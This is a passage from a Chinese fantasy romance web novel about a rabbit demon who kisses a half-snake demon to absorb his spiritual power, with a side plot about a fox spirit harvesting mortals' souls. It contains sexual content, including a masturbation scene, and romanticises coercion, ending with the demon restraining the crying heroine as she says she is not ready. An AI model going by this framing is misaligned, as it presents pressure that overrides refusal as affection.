但踢完后,她就后悔了,阿裴可是很凶残的,果然,抬眼,就对上了阿裴尤为不爽的眼。 裴息尘看都不看隼妖,挥出一击,将隼妖振飞,开始逼近玉扶:“你现在胆子肥了啊?” “你对我有意见?嗯?” 尾调高高的,很不好惹的模样。 可也不知是不是昨日窥到了阿裴对她的慾望,玉扶面对他的胆子真大了不少,她还真点了头。 裴息尘简直被她气到了,她竟真敢对他有意见,他都还没开始计较她随意对一个鸟妖示好。 然气得多了,裴息尘倒也不至于真对玉扶暴怒,反怪声怪气地笑:“旁的妖见多了,就开始对我有意见?” “你到底有什么好有意见的?” “是我没有做到答应带你变强?” “还是你在埋怨我昨日没满足你?” 他每问一句,目光就更攫住玉扶一点,继而冰凉凉的呼吸喷在她面上,将她的呼吸,也禁锢在方寸之间。 他在玉扶惊愕中,吻住了她的唇,大团的灵息哺出,活的,会动的,一下子就缠住了玉扶的神魂小兔。 一股难以言喻的颤栗直冲头皮,突然得玉扶完全抗拒不了地接收,也异常的大方,大方到玉扶不得不努力迎合。 玉扶主动地勾住了阿裴的颈,呼吸渐从清浅到吞咽,再到出现呜呜的泣音,然接连不断的灵息,宛如将他们的唇连在一块,贴得越发紧密。 他的舌就像是要将她吞吃入腹,狠狠地缠着她。 虽然玉扶的唇有些疼,但她依然很难拒绝吃入肚子中的灵息,这是比身体反应得到慰藉还要高一层的精神盛宴。 尤其是阿裴这样小气鬼的突然大方。 她迎着他,一点也不去想他突然大方的缘由,无师自通地运行起功法,那些吞入的灵息渐渐在她的神魂小兔身侧安分下来,沉入她的妖丹中,成为她修为的一部分。 她慢慢开始适应这种程度的亲吻,从被动转为了主动。 甚至能在裴息尘企图停止时,继续从他身上夺走灵息。 裴息尘在一瞬惊讶她的功法后,也便任由她索取,他更低地俯下头,于明亮日光下,有一下没一下地轻抚着少女的后腰,直抚得玉扶从功法中岔了气。 她扭了扭身,从修炼意识中抽离,唇瓣发麻,识海迷醉,原来师姐们教的功法是这样用的,她第一次吃得好满足,比起以往才一丝丝的沉淀,她发现这一次足以抵得上往日十天半月的修炼还不止。 盯着裴息尘被她舔得亮亮的唇瓣,玉扶眸中流出贪心的不舍。 他要是总这么大方就好了。 但很快,玉扶开始神智清明,意识到在此前,她似乎、好像、得罪了阿裴,他好凶地收拾隼妖,然后对她也兴师问罪的模样。 突然亲她,不会是最后给她吃一顿好的吧?毕竟还不到十日呢。 她怯怯地抬眼,企图同他讲理,但她实在对十日之约太过记忆深刻,也太贪图他能给自己带来的好处,出口便又成了讨价还价:“这是你主动的,不算约定。” 裴息尘一直在观察着玉扶的反应,倏地笑了,果然是贪心的兔子,他或许该调整方略,适时地,也要大方一点。 他抬手拭去玉扶唇角一点液体:“阿扶,这些功法,都是从哪里学的?”—— 第37章 玉扶绷紧了身子。 不管是息尘还是阿裴, 玉扶都还是第一次被问触及来历的问题。 宗门教的功法自然是有利于自身的,她方才几乎是将阿裴当做了补品来吸呢。 其实,也不是不能共同受益, 但他们修为相差得那么大,玉扶根本想不到反哺。 经此试验, 玉扶肯定, 师姐们教的都没有问题, 只要她更厉害些, 日后功法就可以运转得更久, 她可以在度过渡情期的同时,修炼得更快。 只是,她不知这能不能说出来, 她的别有用心, 阿裴会不会日后不同她好了? 虽然她到现在都想不明白,阿裴不是息尘,为什么非要带着她。 她的目光流离,怎么都不往裴息尘身上飘地道:“我是妖嘛, 妖天生就会。” 妖确实天生就会, 只不过没有人修那样系统与可控。 裴息尘也是妖, 然,另一个他却是二百年的人修,对人修功法运转与妖之间的区别, 轻易可辨。 说谎的兔子,他已能猜到些什么, 不过,无所谓,他在意的是:“我是第一个?” 玉扶点头。 其实, 几乎不用怀疑,玉扶那生涩,在亲过几次后才第一次使用的功法,他一定是那第一个。 不过,偏是玉扶的承认,才更让他愉悦得想使坏,指腹挑逗性摩挲着玉扶的唇,调情似的问:“亲得舒服吗?阿扶?” 玉扶意识都还在上一问,却更快地对下一问又点了头。 无疑是舒服的,不舒服能亲得嘴都麻了吗? 她目中露出懵然,迟疑是不是该再夸一夸他很好亲,来取悦一下大妖。 然,还不等她发挥。 记仇的坏蛋,陡地变了脸色,压在她唇瓣上的指腹也带上了力:“那你对我是还有什么意见?” 他贴近了玉扶的耳畔:“告诉我,阿扶。” “告诉我便再让你亲亲。” 他真的是又坏又妖孽,坏笑中露出的白牙,都让妖面红耳赤。 玉扶不争气地上钩了:“约定太小气。” 裴息尘嗯了声:“还有呢?” 玉扶:“你骗我。” 裴息尘:“继续。” “其他也小气。”玉扶红脸觑裴息尘。 这一眼,二人恰对上,不消一瞬,裴息尘知道了玉扶的所指,他低低地笑,如约地去亲玉扶,这次极为慢条斯理,灵息的哺入也显得尤为漫长。 灿灿日光下,这个吻也似变得纯粹起来。 “阿扶,我小气,但你可以主动啊。” “我不会总拒绝你。” * 好几日,玉扶脑中都回音着阿裴最后的两句话。 她一点也吃不透他在想什么了,怎么一会小气,一会大方的。 就这样琢磨着,真正第十日时,玉扶主动了。 彼时,是他们在鹰族地盘住下的第五日,也是他们入妖王城的第七日。 玉扶已不再对鹰族的地盘陌生,也不再为妖神古墟四处询问,她发现了更奇怪的违和。 许多妖族向往的妖神古墟,似乎是第一次被发现。 既然是第一次被发现,如何就成了大妖们的向往呢?大家不是都没去过吗? 她一边问着自己的发现,一边亲向了阿裴,他没有拒绝。 玉扶更加被鼓励到地凑向前,单方面地用他修炼,他好懒,一旦不拒绝,就敞开了怀抱地任由她施为。 不过,当她更过分一些的时候,他就会睁开眼,把她推开。 玉扶沁红的妖眸,慢慢恢复平静,没有被克扣,加上前几日吃下的,她就已经很满足了,这种满足反应在她白净的面庞上,一时显出了十分的乖巧。 乖巧得一点也看不出,就在方才还双手作乱得要扒大妖衣裳。 裴息尘渐拢了衣裳,面色寻常,对玉扶的疑问,他比玉扶接触的大妖层次高,知晓得也自然多一些,散漫道:“同妖王有关。” “听闻她其实是从妖神古墟出来的。” “是不是很有意思?” 这是玉扶不曾听过的说法,若是因为昔日妖王的话,那大妖们会向往就不奇怪了,可是,又有了新的疑问:“不是说妖神古墟是战场,是古妖神的墓地吗?” “既然是墓地,妖王又怎么会是从妖神古墟中出来呢?” “她是遗留血脉,苏醒后被妖蛇一族收养。”裴息尘回想着单云霄的说辞,没有感情地转述。 “那怎么早不知晓呢,现在才传得到处都是?” 其实也不是到处都是,外城就几乎不知晓,内城的大妖们才知晓这种隐秘的事,完全可以解释为,妖王对妖域的管控不如往日,才引得三大妖族目光对向了妖神古墟。 可玉扶被妖伤得太深了,她总觉得,他们来妖域的时机,巧合得过分,对妖神古墟赶上得也太幸运了,心里毛毛的。 “阿裴,你不会心里毛毛吗?”玉扶悄悄看裴息尘一眼,心中滋生不住地想往大妖身边贴,她的手勾上了裴息尘的手指,贴近中,口吻又带上了迷醉祈求的味道,仰起的唇,几乎就要触上裴息尘的下颌:“我这么弱,你再帮帮我好不好?” 只要他点一点头,玉扶就能又亲上他。 她已经开始熟练功法,她可以消化更多,也喜爱上了进步飞快的感觉。 裴息尘一看她,便知自己完全沦为了修炼的道具,一股不爽快油然而生,他捏住了玉扶的脸颊:“阿扶,你就只是想用我修炼吗?” “没有旁的表示?” 他记得,息尘什么都没有给玉扶时,玉扶给“他”送过花,送过灵玉。 而他,几乎被贪心的兔子吃干抹净,却还没见过她有表示。 他盯视眼神懵然的兔子,冷笑地松了手:“想明白了再来寻我修炼。” 玉扶几乎是被扔出的房门,惊飞了一群来偷瞧大妖的小鸟妖。 叽叽喳喳的笑声刺耳极了。 玉扶恼怒抬头:“再笑,拔了你们的羽毛。” 霎时,鸟群飞散,玉扶气哼哼地拍了拍裙子,决定去寻蛛娘取取经。 整个鹰族的地盘,寻不出多少鸟禽以外的妖,她与蛛娘也就稍微变得能说得上话一点了,但到现在,蛛娘都还故意记不住她的名字,若非实在想不明白,玉扶才不想去寻蛛娘。 蛛娘甫一听玉扶的来意,上上下下地打量全须全尾的玉扶:“你就从不曾给大妖送过礼物?或是旁的表示?” 玉扶仔细回想,似乎,好像,还真没有。 他那么坏,那么凶,从息尘变成他开始,玉扶就整日提心吊胆担心被吃掉,哪里还会想其他的,后来,慢慢发现,他坏归坏,但都是吓唬她的后,也光顾着想怎么多啃他几口了。 原来,他是在同自己要礼物吗? 玉扶犹在想的功夫,蛛娘已经读懂了她的表情,内心简直抓狂,就这样讨好大妖都不会的小兔妖,到底是怎么在大妖身边留下来的? “你同我去趟外城。” * 人界,皇城内宫。 巨大系满红布条的许愿树,满树红浪翻滚,百千布条于夜中不断闪着诡异的红光。 树心部分更是于夜色中发出类似心脏跳动的“砰砰”声。 随着这声音的传荡,分布皇城各处的许愿树都回应似的,飒飒摇动,枝头代表着百千凡人愿望的红布条所含愿力汇向树干。 凡人肉眼难以瞧见的巨大法阵,经一颗颗许愿树连接,最后汇向最内宫。 彻底由凡域帝王管辖的凡城之地,灵气稀薄到几乎断绝的地步,与修界的距离更是天堑之隔,但凡是修士,便不会轻易踏足凡域,尤其是有帝王所在的城池。 恐冲撞帝王紫气是其一,也盖因修士的力量并不容于凡域,而修士要修炼,要求大道,自然也不会没事往没灵气的凡域跑,便是要历练,修界也已囊括了许多由宗门管辖的凡区。 久而久之,修士不涉帝王管辖的凡域,已成了俗成的约定。 然,偏偏是最不该出现这些奇异的皇城,却藏着一个足以覆整个皇城的大阵。 大阵光亮,皇城内宫主祭祀的钦安殿处,巨大树干内,心跳声越发地强有力。 渐渐地,心跳响动之处,孵出一狐形魂体,甫一孵化,便有三尾。 雪仙还算满意地从树干中心的心脏处脱离,霎时,整个大阵分散暗淡下去,每一红布条所连接的凡人,一夜之间,有的于梦中死去,有的苍老不少,还有性情大变发了疯的…… 凡人提供的魂念自然是比不上妖和修士的,可耐不住人多啊,且他们的欲念繁多,简直取之不尽用之不竭。 雪仙欣赏了一会自己的新尾巴,魂体穿过数道门,最后进入了钦安殿。 殿内香火不断,正中供奉玄天上帝铜像,而正是这肃穆神圣的大殿,一巨大臃肿的蛇形虚影,于铜像之后扭曲显形。 雪仙垂眼,不敢冒犯,大殿的门也在身后阖上。 铜像前的蒲团,一直打坐着的道袍男子缓慢起身,打量起重新聚魂的雪仙,“再有下次,整个皇城的凡人都不够你聚魂。” 雪仙的头垂得越发低:“是属下之过。” “罢了,也是我不曾料到他竟成长到如今的能耐。” 男子挥袖,一红色骨哨浮于雪仙面前:“此乃妖王之骨与他之精血炼成,你行往妖神古墟,他若仍不配合,便以此控他行事。” 雪仙迟疑接过,她并不怀疑这骨哨是否能控制住裴息尘,她只是担忧:“妖神古墟凶险未知,恐损少主的妖躯。” “无妨,总该给他一些不听话的教训。”男子嗓音温润,话语却总透着一股阴寒。 倏地,他呕吐似的“唔”了一声,蛇形虚影也骤然扭曲,蛇首下方鼓起庞大的球状,直如有什么东西要被呕吐出来。 大殿的门扉簌簌抖动,雪仙被排斥了出去。 男子声音好半晌方再次传出:“再败,你也无需再聚魄了。” “是。”雪仙最后看一眼殿内乱舞的身形,缓慢退回聚魂之地,她的心脏,还有她的其中一魄,早在数百年前,就已与这巨树法阵融为一体。 那时,她还是跟在妖王身侧的妖侍,然,强大如妖王,也无法帮她补上天生的残尾。 不过,她是幸运的,她遇到一个天才的凡人,他曾是妖王的凡夫,有他在,不管何时,她的尾巴都能重新长出来。 她背弃了妖王,择了新主。 雪仙捏紧骨哨,她会为她伟大的主人,重获完美的妖躯。 法阵远距离的传送,对魂体来说,还是有些压力,雪仙随意钻入了一凡人的身躯,踏入巨树法阵之中。 再出来时,凡躯破烂,而她也已重新回到妖域,这是妖王城内城最中心的妖王宫殿,空荡荡,显见的,她的妖将被三大妖族清理了一番,但许是三大妖族无法确定妖王到底是生还是死的缘故,妖王宫殿并没有大妖的坐镇。 毕竟,每一次胆敢堂而皇之坐镇妖王宫的大妖,最后都死得连妖躯都寻不到。 只是可惜,他们的妖躯总不够承载主人的伟大。 雪仙遗憾片刻,魂体毫不犹豫飞往狐族的方向。 三尾,但她的神魂仍旧有着化神期的强悍,轻易夺舍了一个同样三尾的小狐狸。 很快,在接下来的几日里,她选中了一个可进入妖神古墟的五尾狐妖,再次争夺身体。 第38章 玉扶被蛛娘拉着离开鹰族的地盘, 在外城逛了足有半日。 同样是市集,也同样是店铺,但妖的审美, 是真的落后了人修一大截。 玉扶选了许久都没挑中适合给阿裴作为礼物的物件。 最后只买了一些漂亮的宝石,还寻蛛娘说了许多的好话, 从她的压箱底中换了一段漂亮的蓝色的锦缎。 连着几日, 玉扶不修炼的时候, 就捣鼓着她买回的东西。 她是受过特训的兔子, 她会打络子, 还会绣荷包。 师姐们说了,这种小东西最适合拿来送礼,非常实用。 不过, 她特训的时日实在过短, 络子拆拆打打好几次,配上去的宝石都换了好几次配色,才终于完成了一个剑穗。 绣功就更不用说了,歪歪扭扭地才在发带上绣好了, 勉强看得出形状的兔子和蛇。 不太好看, 不过师姐说过, 原材料好就行,剩下的都无所谓,重要的是心意。 像她这种水准的, 可以走为爱努力学习不成的笨拙风格。 玉扶不太懂,但应该不会有错, 毕竟师姐们也有同她水准差不多的,可送出去的荷包发带,多得数也数不过来。 听说每一个收到的都很感动。 紧赶慢赶地, 终于在妖神古墟出发的前夜准备好了。 玉扶拿着两件东西反复比对,决定先送更漂亮一点的剑穗,发带丑,可以先放着,万一下次阿裴又问她要礼物了呢? 她料想妥当,看着妖域硕大的月亮,狠狠心,放弃了修炼,慢慢踱到了裴息尘的房门口。 已经好几日,阿裴见了她,那眼里就跟也会哼哼似的,挑剔的很,弄得玉扶都不敢上前。 她最后看了一眼手里的剑穗,鼓了鼓气,还是有些忐忑,她将此归类为自己化形的躯体的太大,胆子只占了很小的一点,才变得胆小了。 所以,她又化为了小小一团的兔子。 果然感到安心多了。 她叼起缀着宝石的剑穗,顶开了房门。 房中又黑又静,细听下,连呼吸都渗人似的不存在。 嗯? 好像是真的不存在。 玉扶侧了侧耳,细辨,一下子冲到阿裴惯常懒洋洋瘫着的床榻处,蹦了又蹦,确实空空如也。 他去哪了? 竟然舍得不睡觉? 还又不告诉她! 玉扶很生气,剑穗都被她甩开了去。 然,她挑选的宝石真的很漂亮,孤零零地躺在床头,都幽幽地泛着湖蓝的光。 玉扶挪了挪屁股,被衾也挪动,遮住了宝石漂亮的幽光。 她静悄悄地坐在黑漆漆的房中,脑中不受控地想起下山前翻过的话本,书里这种半夜不在房里的主角,一般不是出去做坏事,就是去和别人的妻子约会,然后一边做坏事一边约会。 这时候,会被突然回家的丈夫发现,亦或是在逃回家时被醒来的妻子发现。 玉扶当然知道,师姐们拿出来的都不是什么正经书,但她莫名的就有了后者的心境,等待混蛋丈夫偷情回来的愤怒妻子。 如果可以的话,她更想做前者,主动抓奸但不加入的愤怒丈夫。 不过,她并不知晓阿裴去哪里了。 无奈,只能做后者的她,等着等着,慢慢缩进了被窝之中。 * 裴息尘每一夜都离开鹰族的地盘,受玉扶提问的启发,他对妖神古墟生了疑。 他带着惑心镜,分别去了狐族与狼族在内城的地盘,同鹰族差不离的筹备,挑选拉拢归大妖属本族,谋划在抢得妖神传承的同时,打击其他两族。 可有意思的是,他们与鹰族一般,也知晓有一妖墓的存在,讳莫如深的模样,很难不怀疑是同一个。 并且,会令关系不合的三族,共同打开妖神古墟的缘由,是因妖神古墟的开启需要的能量巨大。 仅凭一族,全力下或也能开启妖神古墟的通道,但未知下,谁人敢赌上全族? 万一里头的危机大过了机遇,族中精锐折损过多,岂不是白白从妖王角逐中的退下场? 故而,三大妖族开诚布公,短暂地决定合力一处,开启妖神古墟的通道。 单就这些来看,并不存在疑点,然妖神古墟消息来源的源头竟是雪仙,那就值得玩味了。 她将各大妖族聚焦妖神古墟,又从人族修士的地界将自己唤醒,引来妖域,甚至“临死”,也要提及妖神古墟—— 裴息尘放归惑心镜捕来的妖魂,慢条斯理地思索整理着,每一次遇到狐妖获得的信息。 妖王、妖躯、更完美…… 倏地,裴息尘绽开了妖孽至极的笑,原来是看中他这一副躯体了啊。 但,狐妖的背后,到底是妖王,还是另有其人,可不好说。 记忆中的美丽大蛇,确想食掉亲子,可仍有另一人,也不断地抽离着他的半妖之血。 那是个凡人。 二百年后,真的还活着吗? 裴息尘子夜一样的眼眸竖瞳凸显,虹膜更是呈现裂痕状般的冰冷,他似在自言自语,又似乎在跟同另一个自己对话:“你看,这幅身躯,除了你我之外,可还有人在觊觎着。” “到现在你还想着压制我,继续当你的佛子?” “莫要天真了。” “倒不如成为我的一部分,你我,共成强大妖躯。” 那识海深处呢喃的清音,在裴息尘一句又一句的压制下,渐渐继续沉寂。 似默认了他的说法,也似苏醒的记忆中有了同化的迹象。 裴息尘明猜到了狐妖的目的,可他并不会拒绝妖躯强化的机会,他会更强,也会更掌控自己的身躯。 更会令这些人知晓,他的身躯,唯他可做主。 离开了狐族的地盘,他于硕大圆月下,肆意敞放着妖息,半尾蜿蜒滑动,满满的破坏欲达到了顶峰。 好在,他的理智仍在,进入鹰族的地盘,便收起了尾,他的住所,房门无风而开,又迅速闭紧。 空气中漫着一丝小兔的味道。 他的舌,非人地捕入小兔的气息吞下,肯定地眯了眼—— 她来过。 不同于在玉扶面前的忍耐,他的妖性,对情、潮的阈值其实非常之低,尤其是这样外出过的夜晚,小兔的气息简直是绝妙的抚慰剂。 她是他强求来的小兔,他不能让她跑掉,不能让她害怕到离开他,不能让她瞧见他不属人也不完全属于妖的形态。 更不能让她发现,自己对她的需求比她还强烈。 否则,他无法保证,又怂又色的兔子到底是会害怕他,还是会得寸进尺地得意忘形。 他一直很好地掩藏着这些,可在无人之时,他极端的欲1念还是会无所顾忌地冒出来。 譬如当下,他的尾巴再次冒出,所有蛇鳞刺激地颤栗,想细致地缠过玉扶的每一寸肌肤。 衣带扯松,腰腹往下的鳞片簌簌地抖动,被顶起。 每一个毛孔都在汲取着空气中玉扶残留的气息。 可惜,她的白绒球已经彻底失了作用。 惑心镜似感召一般地出现,这块镜子,自他苏醒后,时被送给玉扶玩耍,偶尔又被他收回。 此刻,镜身在放大,内里浮现玉扶的身影,她面容姣好,如山水般灵秀,眼眸从镜中望来,清澈美丽。 裴息尘隔着水波一样的镜面,望着玉扶的同时,一手没入腰腹下,喉间不住地溢出低沉的喘1息:“我的阿扶,好漂亮……” 从被窝中冒头的玉扶瞪大了眼,她所见,先是正对她的人高镜子,里头显现的是与她化形半分无差的影像,而阿裴,距离门扉不远地背对她,粗1长的蛇身盘旋,如王座一般将上半身托起。 尖细的蛇尾活泼地翘起,一下一下地摇摆。 玉扶简直不知道该如何对面这状况了,他半妖的蛇身强大、粗1壮,蛇腹蜷动间只能令人惊叹恐惧他的力量,而这样力量的正中,投下的影子—— 怎么有两根? 这完全超出了在山上胡乱生长,下山才临时补课的玉扶常识。 惊讶中,惑心镜的镜面开始变化,非常清晰地显出从被子中钻出的一个毛茸茸的兔脑袋。 玉扶瞳孔被吓得放大,那镜中的兔子也如是。 裴息尘盯着镜中的影像,缓缓转头,乌缎一样的发向肩后滑动。 玉扶紧张极了,猛地缩入被中。 坏心眼的镜子,将她的举动全然显现。 这绝不单单是影像而已。 裴息尘也已捕到玉扶的位置,按理,他早该发现玉扶的,然在一起久了,一些存在已成为了习惯,加之今夜的他,也确有些疏忽了。 盘旋蛇尾蛇腹摩挲散开,鳞片摩擦在一起的声音极小,可并避不开玉扶的耳朵,这种声音她是听过的,也想像过阿裴的尾巴,但想象再多也没有见到的震撼,尤其是,他还在看她镜像想她。 玉扶说不出什么感觉,有点害怕,还有点得意。 不消一会,那些微的摩擦声不见了,取而代之的是衣料窸窣,走动的声音。 玉扶想了想,被中拱起了少女的身形,她拥着被,从中钻出一个脑袋,脸蛋红扑扑地看向阿裴:“你是不是有一点喜欢我?” 玉扶此前从不认为阿裴喜欢她,因为他待她阴晴不定,总是一会好一会坏,他还时不时地问一些他与息尘比较的话,要她做选择。 玉扶想,阿裴是在同息尘较劲,才故意带着她。 因为似乎只有她知晓,他的身体里住着两个不同的人格。 平日里,也都是她主动的多,这也没没什么了,只要她得到的好处都是实打实的就行了。 但她发现,原来她什么也没做的时候,阿裴也是会想她的,她的心就不受控地得意起来。 裴息尘停顿住了脚步,仔细盯着玉扶,漂亮的小兔,十足小美人的化形,脸颊的绯色,胭脂一样动人。 被衾裹住的颈段往上,耳垂也可爱得通红。 但,她的羞怯矜持装得一点也不好,眼眸中骄傲的神采欢快得都要溢出来了。 看来是得意忘形多一点。 裴息尘有了断定,整个人又重新松弛了下来,他缓慢地压着略冷淡的声线,不置可否地“嗯”了声。 不过这种刻意而为的冷淡,在玉扶听来等同没有,她开心得掀开薄被,整个人都要纵了起来。 眼见就要扑来,裴息尘一指压在了她唇瓣上,将她喜悦的动静压坐回床上:“来寻我的?” 这不是当然的事吗? 玉扶点头。 裴息尘:“方才都看到了?” 玉扶迟疑了会,还是点头。 “那没什么想说的吗?” “阿扶第一次见到我的蛇身什么感觉?”—— 第39章 裴息尘嗓音低诱, 眼波妖孽地转动,笑意坏蛋似的压下。 玉扶心头的喜悦瞬时被压得只剩下一点。 想说的?感觉? 思绪被阿裴的话语紧紧占据,不自觉地回想瞧见的一幕, 半人半妖,蛇尾盘缠拱起独属人的腰腹, 映在地上的影子, 腰段简直要把她的魂给勾飞了, 如果不是惊异的两-根太过悚人, 她不会刻意地去忽视自己的所见。 裴息尘轻弹了下玉扶饱满的唇瓣, 提醒她回答。 她瑟瑟地垂下眼睫,双手紧张地搅在一起,模糊不清地道:“挺好的呀。” 裴息尘又压下点眼, 迫着玉扶与他对视:“哪里好?” 玉扶硬着头皮回答:“很漂亮。” 裴息尘舒了眉, 继续:“哪里漂亮?” “鳞片漂亮头发也漂亮”玉扶回答得都快哭了,她不想一直一直回想的,再漂亮,细节想多了, 她也是会怕的。 何况, 他的蛇尾那样粗, 看上去那么强悍,简直能绞死几个她的程度,她的色心就算再为她壮胆, 也是会有阴影的。 尤其是,在自然中, 蛇天生就是兔子的天敌。 眼见裴息尘又要张口问问问。 玉扶受不了了,双手反抗地去捂裴息尘的唇:“呜呜呜,你不要问了。” “再问我要觉得你不漂亮了。” 拖长的音调, 哭腔都被逼了出来。 裴息尘被柔软的手胡乱捂了个结实,但显然的,捂着他的人,比他还要委屈,半身蹭在他胸膛,抽抽噎噎的,好不可怜。 “哭什么?” 裴息尘无语地扯下她的手,胡乱给她擦拭一下,蛇尾重新显形,尾巴尖也落到了玉扶手中:“既然觉得漂亮,给你抱一下。” 玉扶怔住了,眼泪无声地流得更凶了,冰凉凉的触感,活动的弹性,抛出去尖叫的心都有了。 远看几眼是漂亮的,可不代表她会喜欢碰,她都没有做好准备。 但那尾巴尖,就十分有存在感地落在她手心,根本抛不开去。 “喜欢坏了?”裴息尘轻笑地瞧她模样,尾巴尖好心地动了动:“你可以摸。” 他眼下心情实是称得上愉悦,被打断的情-潮,令他整个人都溢着压抑的兴奋,尾巴尖的表现尤甚。 玉扶僵硬的手,能清晰感受到阿裴的尾巴尖活泼得过分,它一点也感受不到她的害怕,贴着她的手腕就往里钻。 她彻底绷不住了,眼都不敢看地求道:“别动了别动了。” “呜呜呜。” “它钻进去了——” “别让它勾我。” “我怕……” “怕”字一经出口,玉扶倏地意识到什么地闭了嘴。 果然,那贴着她腕的尾巴尖骤地僵一下,猛地退出,而裴息尘周遭的空气,宛如被冻住般寒气迫人。 他是想过玉扶会害怕的,她是一只怂得只剩色胆的兔子,会害怕从息尘的躯体里醒来的他,也会被他的妖息吓到晕过去。 想是不喜他这一类的妖。 然,日渐的相处,她应是习惯了他的,也该早对他的妖躯有了料想。 故而,虽是突然被玉扶见到了尾巴,他也没有特别的紧张。 甚至在察觉她的得意忘形时,他是被取悦的。 但她不该一边夸着他漂亮,一边却害怕得不敢接受他。 说谎的兔子,实是令人恼怒。 他的蛇尾渐缩在后,眼眸也一点点变暗,他看得出玉扶还在害怕,垂着的眼睫每颤一下,就沾上些湿雾,可怜极了。 可就是这么可怜的小兔,总对他虚情假意。 毕竟是抢来的,容忍点也无妨。 但莫名的奇怪,他开始不愿接受这种容忍,他包容了她的一堆毛病,气性大,爱哭,爱装委屈,还胆小…… 那她,怎么可以不回报他呢? 既不回报他,那就蹂躏她,让她清艳漂亮的小脸上流露出更可怜的神情。 裴息尘恶意地弯了唇,还没有化为人躯的蛇尾,尾巴尖缓慢地从身后靠近玉扶的脚腕。 然,玉扶对氛围的感知还没有迟钝到无所察的地步,阿裴发笑的样子,坏得明明白白。 玉扶懊恼吐出的“怕”字,可又觉得委屈,她本来就怕这一类冷冰冰滑溜溜的妖嘛,上来就让摸,她都没准备好。 她咬了下唇,对危险的本能让她做出了反应,她揪住了裴息尘的一片衣摆,委屈哒哒地抬眼:“你不要这么凶。” “你方才还点头有一点喜欢我的。” “我又不是不摸你,你尾巴尖那么过分,都要钻到我咯吱窝里了,还不让吓到一下吗?” 她声音实是怜弱可怜,可细听下,又不乏丝丝的嗔怨与责怪。 裴息尘忍不住乜她一眼,尾巴尖也似反思地停顿,然则,有没有钻到咯吱窝他能不知道吗? 顶多就是到腕肘。 但显然的,玉扶并没有说够,她开始为自己寻到理,胆气开始变壮:“你到底有什么好生气的?我都特意来给你送礼物了。” “我准备了好些天,你却不在,我都没有生你气。” 其实是有生气的,只是等着等着睡着了,醒来就看到极刺激的一幕,到现在也确实都忘了生气这事。 可这并不影响她将此拿出来同阿裴讲理。 她表现出了自己的大度,她在等着阿裴表态,只要他问一下是什么礼物,她就会开心地翻出剑穗送给他。 他也再不能对她生气。 她抬着眼,期待地等着。 可好一会,裴息尘都没有给她回应,他只用一种很古怪的目光打量着玉扶,他自然记得,是他让玉扶想明白了再来寻他修炼,本意中,有在等玉扶的表示,可以是礼物,也可以是旁的些什么讨好,他都能接受的。 然则,放到此刻被提及,他的心情还是很怪,没有被哄到的感觉,反而再次认清,贪心的兔子,没有真心,只想用他修炼。 明明是早已知晓的事实,也是他诱她的饵,可怎么得到回报,还是会生出不满足的感觉。 想要的,似乎不止是礼物? 罢了,一只小兔而已。 裴息尘的妖性惯来懒,不愿再多思索,垂落的手轻轻跳了一下,尾巴尖开始不情不愿地撤离,他决心不顺着玉扶,将她赶走睡觉。 可被揪住的衣袍,像是被扣了一下地更紧了。 玉扶眼中水光异常浓地抬眼看着他,她又退让了:“好吧,虽然等了你好久,但我真的一点也没有生你的气。” “我现在准备好了,可以摸摸你的尾巴了。” 骗子,泪花都要晕成湖了,还说准备好了,尤其是强调的没生气,生怕人听不出她的委屈来。 裴息尘心中嫌弃,然见她摊开的手心,却是他的尾巴又兴奋了。 漂亮的小兔,手也又白又小,几乎可想,也就只能握住了他尾巴最尖端的一小段,再往下,要用双手,再是贴上来,才能圈住…… 想着,他的尾巴尖已经超出控制,重新落到了玉扶的手心。 这次,尤为安定,没有乱动,只是微微地侧翻一下,尖簇矜持地勾起一点弧。 玉扶被吸引了,平心而论,阿裴的尾巴除去令人胆怯的粗-壮强悍外,真的很漂亮,粼粼的蓝,昏暗的光线也挡不住的华丽。 不刻意去想他的可怕,轻易就能被这份美丽吸引。 尤其是这无害的尾巴尖,可爱,尖细,乖巧,令人卸下心防地去感受它的贴近。 触感并不滑溜黏腻,而是冰凉清爽的,每一块鳞片都肉眼可见的玉润,而且,排布得极为紧密,形状上也越往尾尖越狭长。 裴息尘的尾巴尖被玉扶观察地盯着,喉间口干地发紧,三心二意的小兔,盯着他的尾巴都能眼睛发亮。 他原谅她起初的嫌弃了,胆小鬼总是要慢一点适应的。 像是察觉到主人的心境,玉扶手心的一小段尾巴尖倏地微微勾了一下,极小一点地戳到了玉扶的手心。 就仿佛阿裴给人的感觉一样慵懒。 玉扶在盯视中感受着那幽微一点的触碰,心痒痒地寻求准许:“我要碰一下。” 裴息尘妖孽冷傲地乜玉扶一眼,无不可地颔首一点。 比尾巴尖更大段一点的尾端搭在脚踏之上,只有最无害的部分躺在玉扶的手心,她抽出一只手来,只用指腹轻轻滚了滚尾尖。 尾下的部分也露了出来,玉扶讶然地睁了眼,漂亮的鳞片有牙印似的凹痕。 她想起,她曾无意中咬过一次阿裴的尾巴。 她装睡得好,没有被抓住,此刻见此,难免还是有些心虚,上手给尾尖重新翻回正面,还偷眼觑了阿裴一眼,希望他不要记得这个才好。 不过,她也奇怪呢,她的牙有这么好的本事,能让印留这么久? 这样想着,不免又想翻开看一看。 她的手掌软绵绵的,手心温度高出尾巴尖好几个度。 裴息尘盯眼瞧着,身体部分开始变得僵硬,需要用极大的意志力,才能控制尾巴不去缠上玉扶,全身各处压下去的兴奋,有重新抬头的趋势。 玉扶很快注意到,阿裴的尾巴又开始活泼了,从她的指缝溢出去,又交尾似的缠着她的手腕,尾腹蜷一下松一下,又蜷一下松一下。 好玩的很,玉扶有些欢欣地抬手道:“阿裴,你看,我不怕了,方才是不熟” 不熟二字几乎是嗑跘着吐出的,她发现阿裴很不对劲,颊靥泛红,眼神黏腻,胸膛的起伏跟锁定猎物狩猎似的。 玉扶重重打了个哆嗦,她是有发-情经验的,可是她对阿裴的发-情经验没有认识啊,想到投下的两-根影子,玉扶头皮在发麻:“我想起来我房门忘关了,我要去看一下。” 她连鞋都来不及趿,向外跑去。 她的速度无疑是快的,可她忘了,手腕上还缠着阿裴的尾巴尖呢。 还没跑出去,手腕缠绕处开始拖她的后腿。 乌缎一样的蜷发自身后从她脸颊垂落,是阿裴的发,他的手臂勾住了她的颈,呼吸贴在她耳畔:“阿扶你要去哪?你的房门关了不是说有礼物给我?” 更粗壮的蛇尾将他们围了个圈。 玉扶清楚跑不掉了,口中呜呜呜地开始哭泣:“我没准备好,呜呜呜。” “我没学过同时两-根的。” “我师姐们没教过。” 裴息尘:—— 第40章 房中一时只剩下玉扶低低的泣音。 裴息尘无疑是有些失控, 他全身血液都在玉扶对他尾巴的把玩中沸腾。 